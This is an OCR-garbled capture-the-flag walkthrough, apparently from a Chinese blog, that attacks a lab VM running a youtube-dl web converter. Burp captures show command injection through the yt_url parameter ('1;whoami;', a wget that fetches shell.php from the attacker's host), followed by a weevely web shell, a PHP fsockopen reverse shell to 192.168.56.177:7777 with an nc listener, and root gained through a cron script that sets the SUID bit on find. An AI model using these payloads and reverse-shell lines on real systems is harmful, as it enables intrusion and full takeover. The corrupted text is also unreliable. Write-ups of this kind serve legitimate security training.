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Video ID:

Convert!

Response

Raw | Headers | Hex | Render

POST /HTTP/1.1

Host: 192.168.56.104

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: /=

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK:q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 10

Origin: http://192.16856.104

Connection: close

Referer: httpy//192.168.56.104/

yturl=123

yt_url FTEMAIEAN

T

HTTP/1.1 200 OK

Date: Tue, 29 Sep 2020 02:28:40 GMT
Server: Apache/24.29 (Ubuntu)

Vary: Accept-Encoding
Content-Length: 379

Connection: close

Content-Type: text/html; charset=UTF-8

{"status™:1,"errors”:"WARNING: Assuming --restrict-filenames since file system encoding cannot encede all
characters. Set the LC_ALL environment variable to fix this\nERROR: u'123" is not a valid URL. Set --default-search
\"ytsearch\" (or run youtube-dl \"ytsearch:123\") to search

YouTube\n®, "url_orginal®:*123", "output™:"", "result_url":"\/tmp\/downloads\/5f729bd875578.mp3 "}




Go cancel | [ < [v || >|v Target: hitp:/192.168.56.104 7 (3)
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
POST fHTTP/1.1 : HTTP/1.1 200 OK :
Host: 192.168.56.104 Date: Tue, 29 Sep 2020 02:29:50 GMT
User-Agent: Mezilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Server: Apache/24.29 (Ubuntu)
Accept: #/* Vary: Accept-Encoding
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=07,zh-HK;g=05en-US;q=0.3,en;,g=0.2 Content-Length: 415
Accept-Encoding: gzip, deflate Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Type: text/html; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 16 {"status™:127, "errors":"WARNING: Assuming --restrict-filenames since file system encoding cannot encode all
Origin: http://192.168.56.104 characters. Set the LC ALL environment variable to fix this\nERROR: u'1" is not a valid URL. Set --default-search
Connection: close \"ytsearch\" (or run youtube-dl \"ytsearch:1\") to search YouTube\nsh: 1: -f: not
Referer: http://192.168.56.104/ found\n™,“url_orginal“:"1;whoami; ", "output™:"www-data\n~, “result_url":"\/tmp\/downloads\/5f729¢1e12031.mp3"
|
yt_url=Twhoami;
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Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
POST /HTTP/1.1 & HTTR/1.1 200 OK &
Host: 192.168.56.104 Date: Tue, 29 Sep 2020 02:30:54 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100107 Firefox/81.0 Server: Apache/24.29 (Ubuntu)
Accept: */* Vary: Accept-Encoding
Accept-Language: zh-CN,zh;q=0.8zh-TW;g=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Length: 819
Accept-Encoding: gzip, deflate Connection: close
Content-Type: application/x-www-form-urlenceded; charset=UTF-8 Content-Type: text/html; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 20 {"status":127, “errors™:"WARNING: Assuming --restrict-filenames since file system encoding cannot encode all
Origin: httpy//192.168.56.104 characters. Set the LC_ALL environment variable to fix this.\nERROR: u'1" is not a valid URL. Set --default-search
Connection: close \"ytsearch\" (or run youtube-dl \"ytsearch:1\") to search YouTube\nsh: 1: -f: not
Referer: http:;//192.168.56.104/ found\n®,"url_orginal™:"1;Is${IFS}-I; ", "output™:"total 28\ndrwxr-xr-x 2 www-data www-data 4096 Apr 12 05:05
admin\ndrwxrwxr-x 2 www-data www-data 4096 Apr 12 04:26 images\n-rw-r--r-- 1 www-data www-data 1790
yt_url =1:Is${IFS}-I; Apr 12 04:55 index.php\ndrwxrwxr-x 2 www-data www-data 4096 Apr 12 04:44 js\n-rw-r--r-- 1 www-data
www-data 764 Sep 29 00:35 shell.php\n-rw-rw-r-- 1 www-data www-data 205 Apr 12 04:40 style.css\ndrwxr-xr-x
2 www-data www-data 4096 Apr 12 05:13 tmp\n~, “result_url™:"\/tmp\/downloads\/5f729c5ed6279.mp3 "}
> Py NS
KB wget w4 0] LUAE
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Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
POST fHTTP/1.1 ‘l Vary: Accept-Enceding [a
Host: 192.168.56.104 Content-Length: 13037
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Connection: close
Accept:®/* Content-Type: text/html; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8zh-TW;q=07,zh-HK;q=05,en-US;q=03,en;q=0.2
Accept-Encoding: gzip, deflate {"status™:127,"errors™:"WARNING: Assuming --restrict-filenames since file system encoding cannot encode all
Content-Type: application x-www-form-urlencoded; charset=UTF-8 characters. Set the LC ALL environment variable to fix thisA\nERROR: u'1’ is not a valid URL. Set --default-search
X-Requested-With: XMLHttpRequest \"ytsearch\" (or run youtube-dl \"ytsearch:1\") to search YouTube\nsh: 1: -f: not
Content-Length: 22 found\n~, "url_orginal™:"1;wget3{IFS}-h;", "output™"GNU Wget 1.19.4, a non-interactive network retriever\nUsage:
Origin: hitpy//192.168.56.104 wget [OPTION]... [URL]..\n\nMandatory arguments to long options are mandatory for short options
Connection: close tooAn\nStartup:\n -V, --version display the version of Wget and exit\n -h, --help print this
Referer: http://192.168.56.104/ help\n -b, --background go to background after startup\n -e, --execute=COMMAND execute a
“.wgetrc'-style command\n\nLogging and input file\n -0, --output-file=FILE log messages to FILE\n -a,
yt url=1wget${IFS}-h; --append-output=FILE append messages to FILE\n -d, --debug print lots of debugging
information\n -q, --quiet quiet (no output)\n -v, --verbose be verbose (this is the default)\n
-nv, --no-verbose turn off verboseness, without being quiet\n --report-speed=TYPE output
bandwidth as TYPE. TYPE can be bits\n -i, --input-file=FILE download URLs found in local or external FILE\n
-F, --force-html treat input file as HTML\n -B, --base=URL resolves HTML input-file links (-i
-F\n relative to URL\n --config=FILE specify config file to use\n --no-config
do notread any config file\n  --rejected-log=FILE log reasons for URL rejection to FILE\n\nDownload:\n
-t, --tries=NUMBER set number of retries to NUMBER (0 unlimits)\n --retry-connrefused retry even
if connection is refused\n -0, --output-document=FILE  write documents to FILE\n -ng, --no-clobber
skip downloads that would download to\n existing files (overwriting them)\n --no-netrc
don't try to obtain credentials from .netrc\n -c, --continue resume getting a partially-downloaded
file\n --start-pos=0FFSET start downloading from zero-based position OFFSET\n --progress=TYPE
select progress gauge type\n --show-progress display the progress bar in any verbosity mode\n -N,
--timestamping don't re-retrieve files unless newer than\n local\n
--no-if-modified-since  don't use conditional if-modified-since get\n requests in
timestamping mode\n --no-use-server-timestamps don't set the local file's timestamp by\n
the one on the server\n -§, --server-response print server response\n --spider don't download
ke anything\n -T, --timeout=SECONDS set all timeout values to SECONDS\n --dns-timeout=SECS set .
S ¥ the DNS lookup timeout to SECS\n  --connect-timeout=SECS  set the connect timeout to SECS\n L4
@ < ||+ = a search 0matches  (2) < ||+ || =] |7weasearch 0 matches
Done 13,230 bytes | 1,089 millis
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python -m SimpleHTTPServer 8080

Fyit a5 21 #shell
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yt _url=1;wget${IFS}http://192.168.56.177:8080/shell.php;

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | Render

POST fHTTRP/11

Host: 192.168.56.104

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100107 Firefox/81.0
Accept:*/*

Accept-Language: zh-CN,zh:q=0.8,zh-TW:g=0.7,zh-HK:g=0.5,en-US;q=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 56

Origin: http://192.168.56.104

Connection: close

Referer: http://192.168.56.104/

yt_urlﬂ;wgetS{lFS}http:,’,"\ 92.168.56.177:8080/shell.php;

B EFRATHR AT BLE FEEHL T 2% 1 shell.php

HTTF on @.

104

HTTP/1.1 200 OK

Date: Tue, 28 Sep 2020 02:39:32 GMT
Server: Apache/2.4.29 (Ubuntu)

Vary: Accept-Encoding
Content-Length: 824

Connection: close

Content-Type: text/html; charset=UTF-8

{"status™:127,"errors™:"WARNING: Assuming --restrict-filenames since file system encoding cannot encode all
characters. Set the LC_ ALL environment variable to fix this\nERROR: u'1’ is not a valid URL. Set --default-search
\ytsearch\" (or run youtube-dl \"ytsearch:1\") to search YouTube\n--2020-09-29 02:39:33--
http:\/\/192.168.56.177:8080\/shell.php\nConnecting to 192.168.56.177:8080... connected \nHTTP request sent,
awaiting response... 200 OK\nLength: 771 [application\/octet-stream]\nSaying to: 'shelL.php’\n\n 0K

100% 20.7M=0s\n\n2020-09-29 02:39:33 (20.7 MB\/s) -D’71V771]\n\nsh:1:
-fz not

found\n~, “url_orginal™:"1;wget${IFSthttp:\/\/192.168.56.177:8080\/shell.php;~, "output™="", “result_url™:"\/tmp\/do
wnloads\/5f729e6419bf1.mp37}
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weevely> whoami

w—data

e — 2
admin
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waienl

win - da tagdm / /html % 1s
admin

images
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js

shell.php

style.css

tmp

win -datag fhtml § «
wan - d ) /html/admin § 1s

flag{o
wian -da
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7E tmp/ FHEA clean.sh

waw—da fww /himl/tmp § 1s

WA — \ fww /html/tmp $ cat clean.sh
rm -rf downloads
way-datagdmy : /var/wew/html/tmp 5 |

I pspy #illHEFE
pspy: https://github.com/DominicBreuker/pspy/releases

F A% shell.php FIFERI 775K pspy6ea AL RISEHL L, {H/E weevely AshellJEikig T 1% pspyes , Fo4s{di Fphpit T —/Nshell#|
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File Edit View Bookmarks Settings Help

[+] Target:  waw-dataddmy:/var/ws/html/tmp
+] Session:  /root/.weevely/sessions/192.168.56.104/shell 0.session
[+] shell: System shell
+]
+]

Browse the filesystem or execute commands starts the connection
to the target. Type :help for more information.

weevely> whoami
wni-data

i ~datadmv : /var/waw/html/tmp $ id
uid=33(wmv-data) gid=33(wmv-data) groups=33(wmv-data)
wni—datagdmy: /var/uww/html/tmp $ 1s
clean.sh

wnwi—-datagdmy : /var/wm/html /tmp $ cd ../
wa -dataddmy : /var/ww/htal $ 1s

admin

images

index.php

js

pspy64

shell.php

style.css

file Edit View Bookmarks Settings Help
=$ su

takali ne -lvp 7777

ng on [any] 7777 ...

192.168.56.104: inverse host lookup failed: Unknown host

connect to [192.168.56.177] from (UNKNOWN) [192.168.56.104] 48476
/bin/sh: 0: can't access tty; job control turned off

$ whoami

win-data

$id
uid=33(wnwi-data) gid=33(waw-data) groups=33(um-data)
$1s

admin
images
index.php
js

pspyst
shell.php
style.css

total 3.0M
drwxr-xr-x 6 www-data wew-data 4.0K Sep 2

tmp
wn-dataddmy : /var/wmi/html $ php -r '$sock=fsockopen("192.168.56.177",7777);exec("/bin/sh -1 <63 >83 2>63");" drwxr-xr-x 3 root root 4.0K Apr 1 7
0

$ ./pspy6k

pspy - version: v1.2.0 - Commit SHA:

-rw-r--r-- 1 www-data wew-data 152 Apr 1. 8 .htaccess
-rw-r--r-- 1 www-data wew-data 12K Sep 2 0 -index.php.swp
drwxr-xr-x 2 www-data wew-data 4.0K Apr 1.
drwxrwxr-x 2 www-data wew-data 4.0K Apr 1.
-rw-r—r— 1 ww-data we-data 1.8K Apr 1.
drwxrwxr-x 2 www-data wew-data 4.0K Apr 12 B4:44 js
- rwx 1 www-data www-data 3.0M Sep 29 03:26 pspy6l

r— 1 wwv-data ww-data 771 Sep 29 02:36 shell.php
- r— 1 wwv-data ww-data 205 Apr 12 B4:40 style.css
drwxr-xr-x 2 www-data wew-data 4.0K Apr 12 05:13 tmp

9c63e5d6c58f7bcdc235dbBE3f5e3felc33b8A55

https://blog.csdn.net/mochu? 777777

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 186ms and on in

otify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)

Draining file system events due to startup...

done
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-lha clean.sh

-TW-r--r-- 1 ww-d i 26 clean
waw—datagdmv: fvar/

SOB
45 find AT 2NN s ALRR
wa /html/tmp $

w /html/tmp $ which find

waw —data html,/tmp
lean
WA — ) html,/tmp lean.sh
rm
Wi — 2 html !
Wt — ) $ e chmod u bin/find" clean.sh
WAk —

Wt — ) : lean.sh
rm

html/tmp § 1s
23 @ No 5
html/tmp $ ||

X HIRAEAE ] weevely [Ishell I g A X 2% i @ VAT 3L, iRJmit2 Hl T phpffifeifishell, 3 7 shellas Blibl, SRJAH
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1535 24 11] flag 1E /root/root.txt

Edit ¢ ttings File  Edit Bookmarks  Settings  Help
i find -h
Find —h*
tmp $ Find . " Find -hlep
tmp § id Find -hlep’

group:
whoami

wan-data) euid-0(root)

$ whoami

Toot oot

2 /s Toot oot

Jtmp $ 1s 1 root root
1 Toot root

Jtmp $ c: Toot root
1 root root

1 root root

Jtmp $|php -r kopen("192.1 < ! 2 root Toot
1 root root
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